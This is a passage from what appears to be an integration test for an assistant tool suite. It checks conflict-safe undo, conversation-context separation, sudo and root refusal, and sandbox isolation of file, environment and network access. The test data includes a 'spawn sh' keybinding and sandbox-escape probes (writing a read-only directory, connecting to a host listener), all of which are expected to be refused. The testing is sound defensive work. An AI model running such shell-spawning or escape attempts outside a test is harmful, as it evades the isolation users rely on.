settings.read_text() == before + report('native-desktop-undo') + assert not tool(9,'desktop_set_theme',{'accent_color':'#445566'}).get('isError',False) + settings.write_text('{"external":"newer"}\n') + assert tool(10,'desktop_undo',{}).get('isError',False) + assert settings.read_text() == '{"external":"newer"}\n' + assert tool(11,'desktop_add_keybinding',{'combo':'Mod4+k','action':'spawn sh'}).get('isError',False) + report('desktop-conflict-refusal') + mcp.stdin.close() + assert mcp.wait(timeout=10) == 0 + + context = home/'context' + context.mkdir() + cli_history = context/'conversation.json' + desktop_history = context/'desktop-conversation.json' + cli_history.write_text('{"turns":[]}') + desktop_history.write_text('{"turns":[]}') + bridge = subprocess.run([str(BIN/'sys'),'--assistant-bridge'], + input=json.dumps({'id':1,'op':'clear_conversation'})+'\n', + env=dict(os.environ,PHOEBUS_CONVERSATION_DIR=str(context)), + capture_output=True,text=True,check=True,timeout=30) + reply = json.loads(bridge.stdout.strip()) + assert reply['ok'] is True + assert cli_history.is_file() + assert not desktop_history.exists() + elevated = subprocess.run(['sudo','-n','env',f'PHOEBUS_UID={os.geteuid()}', + str(BIN/'sys'),'--assistant-bridge'], + input=json.dumps({'id':2,'op':'clear_conversation'})+'\n', + capture_output=True,text=True,check=True,timeout=30) + refusal = json.loads(elevated.stdout.strip()) + assert refusal['ok'] is False + assert 'initiating user' in refusal['error'] + report('desktop-context-separation') + + workspace = home/'workspace' + tools = home/'tools' + workspace.mkdir() + tools.mkdir() + (tools/'fixture').write_text('readonly') + private = home/'private-fixture' + private.write_text('synthetic') + listener = socket.socket() + listener.bind(('127.0.0.1',0)) + listener.listen() + port = listener.getsockname()[1] + code = '''import os, pathlib, socket, sys +workspace,tools,private,port=sys.argv[1:] +assert pathlib.Path(tools,'fixture').read_text() == 'readonly' +try: pathlib.Path(tools,'fixture').write_text('bad') +except OSError: pass +else: raise AssertionError('tool directory writable') +pathlib.Path(workspace,'written').write_text('allowed') +assert not pathlib.Path(private).exists() +assert 'PHOEBUS_SYNTHETIC_PRIVATE' not in os.environ +s=socket.socket();s.settimeout(1) +try: s.connect(('127.0.0.1',int(port))) +except OSError: pass +else: raise AssertionError('default network reached host listener') +''' + env = dict(os.environ, PHOEBUS_SYNTHETIC_PRIVATE='fixture') + command = [str(BIN/'phoebus-agent-run'),'--workspace',str(workspace),'--tool-dir',str(tools)] + subprocess.run(command+['/usr/bin/python3','-c',code,str(workspace),str(tools),str(private),str(port)], env=env, check=True) + assert (workspace/'written').read_text() == 'allowed' + report('workspace-tool-grants') + subprocess.run(command+['--network','/usr/bin/python3','-c',f"import socket;s=socket.socket();s.settimeout(2);s.connect(('127.0.0.1',{port}))"], check=True) + listener.close() + report('explicit-network-grant') + for binary, arguments in [('phoebus-mcp',['--home',str(home)]),('phoebus-agent-run',['--workspace',str(workspace),'/usr/bin/true'])]: + result = subprocess.run(['sudo','-n',str(BIN/binary)]+arguments, input='', capture_output=True, text=True) + assert result.returncode != 0 + assert 'unprivileged' in result.stderr or 'root' in result.stderr + report('user-tools-root-refusal')